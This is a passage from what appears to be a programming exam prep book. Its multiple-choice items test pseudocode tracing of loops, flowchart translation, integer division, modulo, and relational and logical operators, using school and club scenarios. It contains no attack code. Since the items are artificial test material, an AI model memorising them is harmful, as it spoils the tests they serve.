  output(t)
  t = t - 3
```

D.

```
int t = 10
while (t > 0)
  t = t - 3
  output(t)
```

Answer: page 1003

0002.i.5.3

A school library runs a 20-day reading challenge in which a student earns bonus points on every fourth day, equal to the number of the day. The program below totals the bonus points that a student who reads every day would earn. The librarian, who is checking the program against the challenge's rules, traces it by hand before it is used.

```
01 /* Totals the bonus points for a 20-day reading challenge */
02 int points = 0
03 for (int day = 4; day <= 20; day = day + 4)
```

```
04   points = points + day
05 output(points)
```

Which output would the program produce?

A. `>>> 40`

B. `>>> 56`

C. `>>> 60`

D. `>>> 84`

Answer: page 1003

0002.i.5.4

A teacher's grading program assigns a letter grade to each score in a set of tests. Running it on three scores, `85`, `62`, and `97`, the teacher expects the grades `"B"`, `"D"`, and `"A"` and is surprised by the result. The program follows the reference sheet's conventions, in which an `if` statement may be followed by any number of `elseif` branches.

```
01 /* Assigns a letter grade to each test score */
02 int[] scores = [85, 62, 97]
03 for (int k = 0; k < scores.size[1]; k = k + 1)
04   int score = scores[k]
05   String grade = "F"
06   if (score >= 60)
07     grade = "D"
08   elseif (score >= 70)
09     grade = "C"
10   elseif (score >= 80)
11     grade = "B"
12   elseif (score >= 90)
13     grade = "A"
14   output(grade)
```

Which output would the program produce?

A.

```
>>> ERROR
```

B.

```
>>> "F"
>>> "D"
>>> "F"
```

C.

```
>>> "D"
>>> "D"
```

```
>>> "D"
```

D.

```
>>> "B"
>>> "D"
>>> "A"
```

Answer: page 1003

0002.i.5.5

A student tutoring a classmate explains how the reference sheet's loop header `for (int i = 1; i < 10; i = i + 1)` controls the statements in the loop's body. Which explanation is accurate?

A. `i` rises by 1 before each pass, so the first pass runs with `i` equal to 2 and the last with `i` equal to 9.

B. `i` starts at 1, the test is made before each pass, and `i` rises by 1 after each pass, so the body runs 9 times.

C. `i` starts at 1, the body runs once before the test is first made, and the loop ends after a pass with `i` equal to 10.

D. `i` takes each value from 1 to 10 in turn, since the header names the first and last values that the loop uses.

Answer: page 1003

Translating between representations

0002.i.6.1

A teacher's flowchart counts the passing scores, those of at least 65, in an array named `scores`. It is shown below as a numbered list of shapes, with an arrow written "→" followed by the number of the shape it leads to. The teacher asks students to translate it into the reference sheet's pseudocode.

1. Oval "Start" → 2
2. Rectangle "Set i to 0 and passed to 0" → 3
3. Diamond "Is i less than the number of scores?" Yes → 4; No → 7
4. Diamond "Is score i at least 65?" Yes → 5; No → 6
5. Rectangle "Add 1 to passed" → 6
6. Rectangle "Add 1 to i" → 3
7. Rectangle "Display passed" → 8
8. Oval "End"

Which pseudocode matches the flowchart?

A.

```
int i = 0
int passed = 0
while (i < scores.size[1])
  if (scores[i] >= 65)
    passed = passed + 1
    i = i + 1
output(passed)
```

B.

```
int i = 0
int passed = 0
while (i < scores.size[1])
  while (scores[i] >= 65)
    passed = passed + 1
  i = i + 1
output(passed)
```

C.

```
int i = 0
int passed = 0
while (i < scores.size[1])
  if (scores[i] >= 65)
    passed = passed + 1
  i = i + 1
output(passed)
```

D.

```
int i = 0
int passed = 0
while (i < scores.size[1])
  if (scores[i] >= 65)
    passed = passed + 1
  else
    i = i + 1
output(passed)
```

Answer: page 1003

0002.i.6.2

A school's attendance office uses the program below to decide what to do about each student's absences. A student is drawing a flowchart of the program for the office's procedures manual, using ovals for the start and end, rectangles for processes, and diamonds for decisions.

```
01 /* Decides what to do about each student's absences */
02 String[] names = ["Ava", "Ben", "Cal", "Dia"]
03 int[] absences = [2, 9, 5, 12]
04 int calls = 0
```

```
05 int letters = 0
06 int i = 0
07 while (i < absences.size[1])
08   if (absences[i] > 10)
09     output(concat("Call home: ", names[i]))
10     calls = calls + 1
11   elseif (absences[i] > 4)
12     output(concat("Send a letter: ", names[i]))
13     letters = letters + 1
14   else
15     output(concat("No action: ", names[i]))
16   i = i + 1
17 output(concat("Calls: ", calls))
18 output(concat("Letters: ", letters))
```

How many diamonds should the student's flowchart contain?

A. three, one for the loop's test and one for each of the two conditions in the `if` statement

B. two, one for the loop's test and one for the whole statement that begins with `if`

C. one, for the `if` statement, since a loop is drawn only as an arrow back to an earlier step in the chart

D. four, one for the loop's test, one for each of the two conditions, and one for `else`

Answer: page 1003

0002.i.6.3

A student draws a flowchart to find the average of five quiz scores. The flowchart reads each score, adds it to a total, and, after the loop ends, divides the total by 4. The student then translates the flowchart into pseudocode, checking that every shape and every arrow has a matching statement, and that each loop and decision is placed correctly. The pseudocode reports averages that are too high. Which conclusion is most reasonable?

A. The translation must be faulty, since any translation that matches every structure of a flowchart gives a correct result.

B. The error lies in the algorithm that the flowchart describes, and a faithful translation has carried it into the pseudocode.

C. The flowchart must be correct, since an error in a flowchart would have been noticed when its shapes were drawn.

D. The pseudocode should be rewritten in a compiled language, since pseudocode cannot state the order of steps exactly.

Answer: page 1003

0002.i.6.4

A garden club's watering plan is written in the reference sheet's pseudocode, below. A student is rebuilding the plan in a block-based environment, in which a block placed inside a C-shaped block such as "repeat" or "if" is controlled by it. The student has already placed the watering block inside a "repeat 2" block, which sits inside an "if" block, which sits inside a "repeat 6" block.

```
01 /* Plans the watering of six garden beds */
02 int[] moisture = [42, 18, 35, 25, 50, 12]
03 int pulses = 0
04 for (int bed = 0; bed < 6; bed = bed + 1)
05   if (moisture[bed] < 30)
06     for (int s = 0; s < 2; s = s + 1)
07       output(concat("Water bed ", bed))
08       pulses = pulses + 1
09   output("Move on")
10 output(concat("Pulses of water: ", pulses))
```

Where should the student place the block that displays "Move on"?

A. inside the "repeat 6" block, below the "if" block rather than inside it

B. below the "repeat 6" block, after the loop has ended

C. inside the "repeat 2" block, directly below the watering block it holds

D. inside the "if" block, directly below the "repeat 2" block

Answer: page 1003

0002.i.6.5

A student is drawing a flowchart of the block-based script below, in which each block appears on its own line and a block indented beneath a C-shaped block sits inside it. The "repeat until" block tests its condition before each pass and stops repeating once the condition is true.

```
when green flag clicked
  repeat until touching edge
    move 10 steps
    if touching color red
      turn 180 degrees
  say "Finished"
```

The student's unfinished flowchart, in which an arrow is written "→" followed by the number of the shape it leads to, is shown below.

1. Oval "Start" → 2
2. Diamond "Touching the edge?" Yes → 6; No → 3
3. Rectangle "Move 10 steps" → 4
4. Diamond "Touching red?" Yes → 5; No → ?
5. Rectangle "Turn 180 degrees" → ?

6. Rectangle “Say Finished” → 7
7. Oval “End”

Where should the two unfinished arrows lead?

A. both to shape 2, so that every pass ends by returning to the test for the edge

B. both to shape 3, since the blocks inside a repeat block run again without any further test

C. the No arrow to shape 2, and the arrow from shape 5 to shape 6, since turning ends the trip

D. both to shape 6, since the “if” block is the last block inside the repeat block

Answer: page 1003

0002.j Expressions and operators

Read about this in the content summary: 0002.j, page 76.

Arithmetic operators

0002.j.1.1

A parent volunteer writes a program that totals the receipts from a school concert, removes a flat printing fee, and divides the remainder equally among the clubs that sold tickets. The volunteer checks each printed figure against a hand calculation. The first four figures agree with the hand calculation, but the final figure is `795`, whereas each club should receive `195`.

```
01 /* Reports concert receipts and the amount owed to each club */
02 int adult_price = 12
03 int student_price = 5
04 int adults = 40
05 int students = 64
06 int printing_fee = 20
07 int clubs = 4
08
09 int adult_sales = adults * adult_price
10 int student_sales = students * student_price
11 int receipts = adult_sales + student_sales
12 int net = receipts - printing_fee
13 int share = receipts - printing_fee / clubs
14
15 output(adult_sales)
16 output(student_sales)
17 output(receipts)
18 output(net)
19 output(share)
```

Which replacement for line 13 would produce the amount owed to each club?

A. `int share = receipts - (printing_fee / clubs)`

B. `int share = (receipts - printing_fee) % clubs`

C. `int share = receipts / clubs - printing_fee`

D. `int share = (receipts - printing_fee) / clubs`

Answer: page 1004

0002.j.1.2

A biology class models a bacterial colony with a formula supplied by the teacher. A student enters the formula in one statement and predicts the result by hand before running the program.

```
01 int seed = 6
02 int rate = 3
03 int hours = 4
04 int colony = seed + rate * 2 ^ hours - seed / rate
05 output(colony)
```

Which output would the program produce?

A. `>>> 28`

B. `>>> 52`

C. `>>> 142`

D. `>>> 1300`

Answer: page 1004

0002.j.1.3

A science teacher plans an order of lab notebooks, which are sold only in full boxes, and adds a fixed shipping charge. The teacher writes the program below to estimate the bill and to print a note of the box count for the purchase request, then asks a colleague to review it against the Pseudo Code Reference Sheet before relying on it.

```
01 /* Estimates the cost of an order of lab notebooks */
02 int notebooks = 30
03 int per_box = 6
04 int boxes = notebooks / per_box
05 int box_price = 12
06 int shipping = 5
07 int total = box_price * boxes + shipping
08 output(total)
09 output("Boxes: " + boxes)
```

Which statement best identifies the expression that the reference sheet does not define?

A. `"Boxes: " + boxes` joins a `String` to an `int`, although `+` is defined only for two numbers of the same type and text is combined with `concat()`.

B. `int total = ...` assigns the result of a calculation to a variable in the same statement that declares it, although a declaration may only name the variable.

C. `notebooks / per_box` cannot be stored in an `int`, because division always produces a `float` value, even when both values are `int`.

D. `box_price * boxes + shipping` combines two operators in one expression, although each expression may contain only one arithmetic operator at a time.

Answer: page 1004

0002.j.1.4

A student who first learned programming in another language writes a program that converts a binary number, stored one bit per array element, into the value it represents. The most significant bit is stored first. Before running the program, the student's teacher asks the class to determine what it will display and to justify the answer.

```
01 /* Converts the bits in an array to the value they represent */
02 int[] bits = [1, 0, 1, 1]
03 int value = 0
04 int top = bits.size[1] - 1
05 for (int i = 0; i <= top; i = i + 1)
06   int weight = 2 ^ (top - i)
07   value = value + bits[i] * weight
08 output(value)
```

Which statement correctly gives the output and the reason for it?

A. The program displays `8`, because `2 ^ (top - i)` multiplies the number of remaining positions by two before each bit contributes to the total.

B. The program displays `11`, because each bit is multiplied by two raised to the number of positions between that bit and the end of the array.

C. The program displays `6`, because `^` compares the binary digits of its two values and keeps only the positions in which those digits differ.

D. The program displays `13`, because the first element of an array always carries the smallest place value when an exponent is calculated from a position.

Answer: page 1004

0002.j.1.5

A weather club stores morning temperatures in degrees Celsius and reports each one in degrees Fahrenheit, along with a count of the readings above a limit and the mean of the converted readings.

To convert a reading, a program multiplies it by nine, divides by five, and then adds thirty-two. For the readings shown, the program should display `50`, `68`, `86`, `77`, `2`, and `70`.

```
01 /* Reports Fahrenheit readings and counts those above a limit */
02 function to_f(int c)
03   /*execute selected code here*/
04
05 int[] celsius = [10, 20, 30, 25]
06 int limit = 70
07 int warm = 0
08 int sum = 0
09
10 for (int i = 0; i < celsius.size[1]; i = i + 1)
11   int f = to_f(celsius[i])
12   output(f)
13   sum = sum + f
14   if (f > limit)
15     warm = warm + 1
16
17 int mean = sum / celsius.size[1]
18 output(warm)
19 output(mean)
```

Which statement, executed on line 03, completes the function so that the program displays the expected values?

A. `return c * 9 / (5 + 32)`

B. `return c * (9 / 5) + 32`

C. `return (c + 32) * 9 / 5`

D. `return c * 9 / 5 + 32`

Answer: page 1004

Integer division

0002.j.2.1

An art teacher writes a program to divide a box of markers evenly among the tables in a classroom and to report how many markers remain in the box. The teacher runs the program below, expecting it to display `7`, `42`, and `5`. Instead, the program displays `8`, `48`, and `–1`, and the teacher cannot explain the negative count.

```
01 /* Shares markers among tables and reports any left over */
02 int markers = 47
03 int tables = 6
04 int each = markers / tables
05 int handed_out = each * tables
```

```
06 int left = markers - handed_out
07 output(each)
08 output(handed_out)
09 output(left)
```

Which statement best explains the output that the teacher observes?

A. The statement that computes `left` subtracts in the reverse of the written order, because a subtraction involving two `int` values always places the larger value first.

B. The statement that computes `each` produces the nearest whole number to the quotient, so `each` is larger than the number of markers that each table can actually receive.

C. The multiplication in `each * tables` runs before the division that sets `each`, because multiplication takes precedence over division wherever the two operators appear in a program.

D. The statement that computes `each` discards the fractional part of the quotient, so `each` is smaller than expected and too few markers are then subtracted.

Answer: page 1004

0002.j.2.2

A shop arranges eleven framed prints on a wall with four rows, then calculates how many frames the chosen layout would hold. A student predicts the result by following the Pseudo Code Reference Sheet exactly.

```
01 int prints = 11
02 int rows = 4
03 int per_row = prints / rows
04 output(per_row * rows)
```

Which output would the program produce?

A. `>>> 8`

B. `>>> 11`

C. `>>> 11.0`

D. `>>> 12`

Answer: page 1004

0002.j.2.3

A guidance office compares student averages to two decimal places for an honor roll, but it stores every value as an `int`. To do so, it reports each average in hundredths of a point, so that an average of `90.25` is reported as `9025`. For a student with three scores totaling `251`, the program should display `8367`, but it displays `8400`.

```
01 /* Reports a student's average in hundredths of a point */
02 int[] scores = [80, 88, 83]
03 int total = 0
04 for (int i = 0; i < scores.size[1]; i = i + 1)
05   total = total + scores[i]
06 int count = scores.size[1]
07 int hundredths = total / count * 100
08 output(hundredths)
```

Which replacement for line 07 produces the required report?

A. `int hundredths = total * 100 / count`

B. `int hundredths = total * (100 / count)`

C. `int hundredths = (total * 100) % count`

D. `int hundredths = (total / count) * 100`

Answer: page 1004

0002.j.2.4

An online quiz system reports each student's percentage and counts the students who reach the passing mark of 70 percent. Every quiz has 20 questions. In a test run with students who answered 18, 9, and 14 questions correctly, an instructor expects to see `90`, `45`, `70`, and `2`. The instructor instead sees the output shown below the program, and every percentage appears as either 0 or 100.

```
01 /* Reports percentages and the number of passing students */
02 function percent(int correct, int total)
03   return correct / total * 100
04
05 int[] results = [18, 9, 14]
06 int questions = 20
07 int passing = 0
08 int mark = 70
09
10 for (int i = 0; i < results.size[1]; i = i + 1)
11   int p = percent(results[i], questions)
12   output(p)
13   if (p >= mark)
14     passing = passing + 1
15
16 output(passing)
```

```
>>> 100
>>> 0
>>> 100
>>> 2
```

Which statement best explains why the percentages appear this way?

A. The quotient of two `int` values is rounded to `0` or `1` before the multiplication, because every score is at most the number of questions on the quiz.

B. The comparison of `p` with the passing mark changes the value of `p` to the passing mark or to zero, which is then carried into the output of the next student's percentage.

C. The parameter `total` is passed by position and is replaced by the score, so the function divides each score by itself before multiplying by `100`.

D. The multiplication by `100` occurs before the division, so each score is divided by `2000` and is then rounded up to whichever percentage is nearest.

Answer: page 1004

0002.j.2.5

A running club records each workout in minutes and reports it as whole hours and remaining minutes. A member tests the program below with workouts of 130 and 170 minutes. The first report, `2` hours and `10` minutes, is correct. The second report is `3` hours and `50` minutes, although the workout lasted 2 hours and 50 minutes.

```
01 function report(int minutes)
02   int hours = minutes / 60
03   int rest = minutes % 60
04   output(hours)
05   output(rest)
06
07 report(130)
08 report(170)
```

Which replacement for line 02 makes the program report both workouts correctly?

A. `int hours = minutes / 60.0`

B. `int hours = minutes % 60 / 60`

C. `int hours = (minutes - minutes % 60) / 60`

D. `int hours = minutes / 60 - 1`

Answer: page 1004

Modulo

0002.j.3.1

A classroom teacher rotates a weekly job through an array of student names. The program begins with the student at index `start` and assigns one name to each of the next six weeks, returning to the beginning of the array after the last name. As written, the program displays the first name correctly,

and execution then stops with `ERROR`. The expected names are `"Dee"`, `"Abe"`, `"Bo"`, `"Cal"`, `"Dee"`, and `"Abe"`.

```
01 /* Lists who holds the classroom job in each coming week */
02 String[] names = ["Abe", "Bo", "Cal", "Dee"]
03 int start = 3
04 int weeks = 6
05 int count = names.size[1]
06
07 for (int w = 0; w < weeks; w = w + 1)
08   int position = start + w
09   output(names[position])
```

Which replacement for line 08 produces the expected names?

A. `int position = (start + w) % (count - 1)`

B. `int position = (start + w) % count`

C. `int position = (start + w) / count`

D. `int position = start + (w % count)`

Answer: page 1004

0002.j.3.2

A mathematics teacher gives students the following program and asks them to state what it reports before running it. The program repeatedly separates part of a positive whole number and accumulates a total. The teacher notes that line 06 always divides an exact multiple, so no rounding occurs. A student traces the program for the value shown.

```
01 int n = 3470
02 int total = 0
03 while (n > 0)
04   int d = n % 10
05   total = total + d
06   n = (n - d) / 10
07 output(total)
```

Which statement correctly describes the behavior of the program?

A. It displays `0`, since `n % 10` gives a percentage of `n` and ten percent of a value ending in zero rounds down to zero on every pass through the loop.

B. It displays `3`, since `n % 10` gives the leftmost decimal digit of `n` and the loop ends as soon as the first digit has been added to the total.

C. It displays `347`, since `n % 10` gives the value of `n` with its rightmost digit removed and each pass then adds that shorter value to the total.

D. It displays `14`, since `n % 10` gives the rightmost decimal digit of `n` and the final statement in the loop removes that digit from `n` on each pass.

Answer: page 1004

0002.j.3.3

A club treasurer is given a list of ticket numbers and must award a prize to every even-numbered ticket. The program below is intended to display the number of winning tickets and the sum of their numbers. For the tickets shown, the treasurer expects `4` and `34`, but the program displays `0` and `0`.

```
01 /* Counts even-numbered tickets and adds their numbers */
02 int[] tickets = [4, 7, 10, 3, 12, 8]
03 int winners = 0
04 int sum = 0
05 for (int i = 0; i < tickets.size[1]; i = i + 1)
06   int n = tickets[i]
07   if (n / 2 == 0)
08     winners = winners + 1
09     sum = sum + n
10 output(winners)
11 output(sum)
```

Which replacement for line 07 gives the expected result?

A. `if (2 % n == 0)`

B. `if (n % 2 == 0)`

C. `if (n % 2 != 0)`

D. `if (n % n == 0)`

Answer: page 1004

0002.j.3.4

A transit agency stores departure times on a 24-hour clock and displays a short code for each one on a sign that cycles every twelve hours. A technician reviews the program below, which sends one code to the sign for each of the four departure hours in the array.

```
01 int[] hours = [5, 12, 17, 24]
02 for (int i = 0; i < hours.size[1]; i = i + 1)
03   output(hours[i] % 12)
```

Which sequence of codes would the program display?

A.

```
>>> 5
>>> 12
>>> 5
```

```
>>> 12
```

B.

```
>>> 5
>>> 0
>>> 5
>>> 0
```

C.

```
>>> 0
>>> 1
>>> 1
>>> 2
```

D.

```
>>> 0
>>> 0
>>> 5
>>> 0
```

Answer: page 1004

0002.j.3.5

A physical education teacher splits an ordered roster into squads by counting off, so that the students at positions 0, 3, and 6 form one squad, the students at positions 1, 4, and 7 form another, and the rest form a third. The teacher writes the following program to display the members of a single squad and the size of that squad.

```
01 /* Displays one squad from a roster, then the size of the squad */
02 String[] roster = ["Ana", "Ben", "Cy", "Dot", "Eli", "Fay", "Gus", "Hal"]
03 int squads = 3
04 int wanted = 1
05 int size = 0
06
07 for (int i = 0; i < roster.size[1]; i = i + 1)
08   if (i % squads == wanted)
09     output(roster[i])
10     size = size + 1
11
12 output(size)
```

Which statement best describes what the program displays?

A. `"Ben"` alone, followed by `1`, since the remainder calculation can equal the wanted value at only one position in the roster.

B. `"Ben"`, `"Eli"`, and `"Hal"`, followed by `3`, since the positions whose remainder after division by `3` equals `1` are selected.

C. `"Ana"`, `"Dot"`, and `"Gus"`, followed by `3`, since the first squad is numbered `1`, and this squad therefore begins at the first position.

D. `"Ben"`, `"Cy"`, `"Eli"`, `"Fay"`, and `"Hal"`, followed by `5`, since every position that is not a multiple of `3` leaves a remainder that the condition accepts.

Answer: page 1005

Relational operators

0002.j.4.1

A youth center checks whether visitors qualify for a reduced fee, which is available to anyone younger than 18. A volunteer stores the age limit in a variable so it can be changed easily, and then runs the program below. Execution stops with `ERROR` when the program reaches the comparison, before any message appears.

```
01 /* Reports whether a visitor qualifies for a reduced fee */
02 int age = 15
03 String limit = "18"
04 String message = "standard fee"
05
06 if (age < limit)
07   message = "reduced fee"
08
09 output(message)
```

Which statement best explains the error?

A. The variable `message` is assigned a new value inside the `if` statement, and a `String` may be assigned only once after it has been declared.

B. The value of `age` is smaller than the value of `limit`, and a true comparison with a variable must be stored in a `bool` before the program continues.

C. The value compared on the right of `<` is a `String`, whereas this operator is defined only for two `int` values or for two `float` values as operands.

D. The operator `<` cannot appear in an `if` statement unless it is combined with `==`, so the condition must be written with `<=` to be valid.

Answer: page 1005

0002.j.4.2

A school awards a certificate to each student who attends at least 170 days, and the program below prepares the list for the principal. The attendance office checks a sample of four records by hand and finds that the program should display `"Ivy"`, `"Mo"`, and `2`. The program currently displays `"Ivy"` and `1`, leaving out a student who meets the requirement exactly.

```
01 /* Lists students who earn an attendance certificate */
02 String[] names = ["Ivy", "Jon", "Mo", "Pat"]
03 int[] days = [176, 169, 170, 151]
04 int required = 170
05 int earned = 0
06
07 for (int i = 0; i < names.size[1]; i = i + 1)
08   if (days[i] > required)
09     output(names[i])
10     earned = earned + 1
11
12 output(earned)
```

Which replacement for line 08 produces the list that the office expects?

A. `if (days[i] != required)`

B. `if (days[i] => required)`

C. `if (days[i] >= required)`

D. `if (days[i] > required - 2)`

Answer: page 1005

0002.j.4.3

A student preparing for a programming contest writes the short program below to explore what comparisons produce. The student predicts the two displayed values and then runs the program to check the prediction.

```
01 int a = 7
02 int b = 12
03 bool first = a >= b
04 bool second = first == (b != a)
05 output(first)
06 output(second)
```

Which output would the program produce?

A.

```
>>> FALSE
>>> TRUE
```

B.

```
>>> 7
>>> 12
```

C.

```
>>> 0
```

```
>>> 5
```

D.

```
>>> FALSE
>>> FALSE
```

Answer: page 1005

0002.j.4.4

A statistics class stores repeated measurements in arrays, and a helper function reports whether an array is in order from smallest to largest. Repeated values are allowed in such an array. A student tests the function with the three arrays shown and expects `TRUE`, `TRUE`, and `FALSE`, since the second array contains a repeated value in an acceptable position. The program produces different output.

```
01 /* Reports whether values are in order from smallest to largest */
02 function in_order(int[] v)
03   for (int i = 0; i < v.size[1] - 1; i = i + 1)
04     if (v[i] >= v[i + 1])
05       return FALSE
06   return TRUE
07
08 int[] sample_a = [2, 5, 9, 14]
09 int[] sample_b = [3, 3, 8, 10]
10 int[] sample_c = [6, 4, 7, 11]
11
12 output(in_order(sample_a))
13 output(in_order(sample_b))
14 output(in_order(sample_c))
```

Which statement best explains the difference and identifies a suitable correction?

A. The function compares each value with itself on each pass, so the second index in the comparison should be `i + 2` instead of `i + 1` to reach a new value.

B. The function treats neighboring equal values as out of order, so the comparison of neighboring values should use `>` rather than `>=`.

C. The function stops examining the array too early, so the loop should run until `i <= v.size[1]` in order to reach the repeated value.

D. The function returns the wrong `bool` value for a repeated value, so the two returned values should be exchanged to reverse each result.

Answer: page 1005

0002.j.4.5

A teacher builds a color-guessing activity for an after-school club. A student is asked to keep typing guesses until the guess matches a stored word, and the program then reports how many guesses

were needed. During a test, the three guesses `"red"`, `"green"`, and `"blue"` are entered in that order. The program should ask for input until `"blue"` is entered.

```
01 /* Counts the guesses needed to match the secret word */
02 String secret = "blue"
03 int guesses = 1
04 String guess = input()
05 /*execute selected code here*/
06   guess = input()
07   guesses = guesses + 1
08 output(guesses)
```

Which statement, executed on line 05, completes the program so that it displays `3`?

A. `while (guess != secret)`

B. `while (guess == secret)`

C. `while (guess = secret)`

D. `while (guess < secret)`

Answer: page 1005

Logical operators

0002.j.5.1

A town library lets members and staff place an interlibrary request, provided that the patron has no overdue items. A librarian writes the condition below by listing the requirements in the order in which they appear in the policy, and then tests a patron who is a member and who has an overdue item. A colleague familiar with another language predicts a different result from the one that the Pseudo Code Reference Sheet gives.

```
01 bool member = TRUE
02 bool staff = FALSE
03 bool overdue = TRUE
04 bool allowed = member OR staff AND NOT(overdue)
05 output(allowed)
```

Which statement correctly gives the output under the reference sheet and the reason for it?

A. The program displays `TRUE`, because a single true variable in any expression containing `OR` is sufficient to make the entire expression true.

B. The program displays `TRUE`, because `staff AND NOT(overdue)` is evaluated first and that result is then combined with `member`.

C. The program displays `ERROR`, because `NOT` can be applied only to a comparison, and `overdue` is a variable that already holds a `bool` value.

D. The program displays `FALSE`, because `member OR staff` is evaluated first and that result is then combined with `NOT(overdue)`.

Answer: page 1005

0002.j.5.2

A developer maintains a program that alerts a building manager only when neither of two sensors has reported a fault. The developer plans to replace the condition on line 07 with a statement that behaves identically for every combination of sensor values, and writes a test that displays the result of the condition for all four combinations.

```
01 /* Displays the alert condition for all four sensor combinations */
02 bool[] door = [TRUE, TRUE, FALSE, FALSE]
03 bool[] vent = [TRUE, FALSE, TRUE, FALSE]
04 for (int i = 0; i < door.size[1]; i = i + 1)
05   bool d = door[i]
06   bool v = vent[i]
07   bool clear = NOT(d OR v)
08   output(clear)
```

Which replacement for line 07 behaves identically to the original statement in all four cases?

A. `bool clear = NOT(d AND v)`

B. `bool clear = d AND NOT(v)`

C. `bool clear = NOT(d) AND NOT(v)`

D. `bool clear = NOT(d) OR NOT(v)`

Answer: page 1005

0002.j.5.3

An online school store offers free shipping for any order of at least 50 dollars and also for any order placed by a club sponsor. An order that meets either requirement ships free, and all other orders pay a charge of 6 dollars. A clerk tests four orders and expects the shipping charges `0`, `0`, `6`, and `0`, but the program below displays `6`, `6`, `6`, and `0`.

```
01 /* Reports the shipping charge for each sample order */
02 int[] totals = [75, 20, 40, 60]
03 bool[] sponsor = [FALSE, TRUE, FALSE, TRUE]
04 int minimum = 50
05 int charge = 6
06
07 for (int i = 0; i < totals.size[1]; i = i + 1)
08   int ship = charge
09   if ((totals[i] >= minimum) AND sponsor[i])
10     ship = 0
11   output(ship)
```

Which replacement for line 09 produces the expected charges?

A. `if (NOT(totals[i] >= minimum) AND sponsor[i])`

B. `if ((totals[i] >= minimum) OR sponsor[i])`

C. `if ((totals[i] < minimum) OR sponsor[i])`

D. `if (NOT((totals[i] >= minimum) AND sponsor[i]))`

Answer: page 1005

0002.j.5.4

A logic unit in a computer science course asks students to evaluate the following statements by following the Pseudo Code Reference Sheet, without translating them into any other language first.

```
01 output(NOT(TRUE AND FALSE) OR FALSE AND FALSE)
02 output(FALSE AND FALSE OR TRUE)
```

Which output would the program produce?

A.

```
>>> FALSE
>>> TRUE
```

B.

```
>>> TRUE
>>> TRUE
```

C.

```
>>> TRUE
>>> FALSE
```

D.

```
>>> FALSE
>>> FALSE
```

Answer: page 1005

0002.j.5.5

An amusement park allows a visitor on a ride only if the visitor is at least 120 centimeters tall and is also either at least 8 years old or accompanied by an adult. A park employee enters the condition as shown and tests five visitors, expecting `TRUE`, `TRUE`, `FALSE`, `FALSE`, and `TRUE`. The fourth test does not give the expected result: a visitor who is too short is admitted because an adult is present.

```
01 /* Tests the ride policy against five sample visitors */
02 int[] heights = [130, 125, 110, 118, 150]
03 int[] ages = [10, 6, 9, 7, 8]
```

```
04 bool[] adult = [FALSE, TRUE, FALSE, TRUE, FALSE]
05 int min_height = 120
06 int min_age = 8
07 int visitors = heights.size[1]
08 int admitted = 0
09
10 for (int i = 0; i < visitors; i = i + 1)
11   int h = heights[i]
12   int a = ages[i]
13   bool c = adult[i]
14   bool ok = (h >= min_height) AND (a >= min_age) OR c
15   output(ok)
16   if (ok)
17     admitted = admitted + 1
18
19 output(admitted)
```

Which replacement for line 14 implements the ride policy under the conventions of the reference sheet?

A. `bool ok = (a >= min_age) AND (h >= min_height) OR c`

B. `bool ok = c OR (a >= min_age) AND (h >= min_height) OR c`

C. `bool ok = c OR (h >= min_height) AND (a >= min_age)`

D. `bool ok = (h >= min_height) AND ((a >= min_age) OR c)`

Answer: page 1005

Assignment and equality

0002.j.6.1

A help desk tracks whether a repair ticket remains active. A new technician writes the routine below, intending to display a reminder only for tickets marked as open. When the technician runs the program, no message of any kind appears and an error is reported for the conditional statement. The technician notes that the same condition seems reasonable when it is read aloud.

```
01 /* Displays a reminder for a ticket that remains active */
02 String status = "open"
03 int days_waiting = 4
04 String note = "no action needed"
05
06 if (status = "open")
07   note = "contact the customer"
08
09 output(note)
10 output(days_waiting)
```

Which statement best explains why the program fails?

A. The condition uses the symbol that stores a value in a variable, whereas a condition requires an operator that produces a `bool` result.

B. The variable `status` already holds the value `"open"` before the test, whereas a value that is already known cannot be tested by a condition.

C. The condition compares `status` with text enclosed in quotation marks, whereas a `String` variable may be compared only with another variable.

D. The statement inside the `if` block assigns a new value to `note`, whereas assignment is not permitted within a conditional block.

Answer: page 1005

0002.j.6.2

A student writes a program to display a countdown for a robotics match, starting from a stored number of seconds and then displaying a closing message. During a test, the program displays `5` repeatedly and never reaches the closing message. The student reviews the code and observes that every statement in the loop appears to describe the intended relationship between the variables.

```
01 /* Displays a countdown and then a closing message */
02 int seconds = 5
03 String closing = "match begins"
04
05 while (seconds > 0)
06   output(seconds)
07   seconds == seconds - 1
08
09 output(closing)
```

Which statement best explains the behavior of the program?

A. The comparison in the loop condition is evaluated once before the first pass, so later changes to `seconds` have no effect on whether the loop continues.

B. The statement inside the loop only compares `seconds` with a smaller number and discards the result, so the value tested by the loop never changes.

C. The loop condition is rechecked only when a value is displayed, and displaying a value resets `seconds` to its initial value each time the loop repeats.

D. The statement inside the loop states that `seconds` equals `seconds - 1`, which cannot be true for any number, so the program must display the same value forever.

Answer: page 1005

0002.j.6.3

A student studying variables is shown two statements in a row and claims that, after the statements run, the two variables must be equal in the mathematical sense and that a later change to one must also change the other. The teacher asks the student to test the claim by predicting the final output of the following short program.

```
01 int a = 4
02 int b = a
03 a = a + 3
04 b = b * a
05 output(b)
```

Which output would the program produce?

A. `>>> 12`

B. `>>> 16`

C. `>>> 28`

D. `>>> 49`

Answer: page 1005

0002.j.6.4

A language teacher writes a vocabulary drill. For each answer in an array, the program stores whether that answer matches the expected word, displays the stored result, and counts the matches. The teacher wants to know what the drill reports for the three answers shown, including the final count, before using the drill with a class.

```
01 /* Scores a short vocabulary drill */
02 String[] answers = ["casa", "perro", "gato"]
03 String[] expected = ["casa", "gato", "gato"]
04 int score = 0
05
06 for (int i = 0; i < answers.size[1]; i = i + 1)
07   bool right = answers[i] == expected[i]
08   output(right)
09   if (right == TRUE)
10     score = score + 1
11
12 output(score)
```

Which description correctly gives what the program displays?

A. `TRUE`, `FALSE`, and `TRUE`, then `2`, since the right side of the statement that sets `right` is a comparison whose result is stored in the variable.

B. `TRUE`, `TRUE`, and `TRUE`, then `3`, since the statement that sets `right` makes the two values equal and the comparison therefore always succeeds.

C. `"casa"`, `"gato"`, and `"gato"`, then `3`, since the statement that sets `right` copies each expected word into the variable and each copy is then accepted.

D. `ERROR`, with no other values, since a single statement cannot contain the symbols `=` and `==` together and the first of these must end the statement.

Answer: page 1006

0002.j.6.5

A librarian searches an array of call numbers for a requested book. The program below should set a flag when the requested call number is found and then display the flag and the position of the book. In a test using the call number `512`, the librarian expects `TRUE` and `2`. The placeholder on line 09 marks a statement that the librarian has not yet written.

```
01 /* Records whether a requested call number is on the shelf */
02 int[] shelf = [301, 408, 512, 620, 745]
03 int wanted = 512
04 bool found = FALSE
05 int where = 0
06
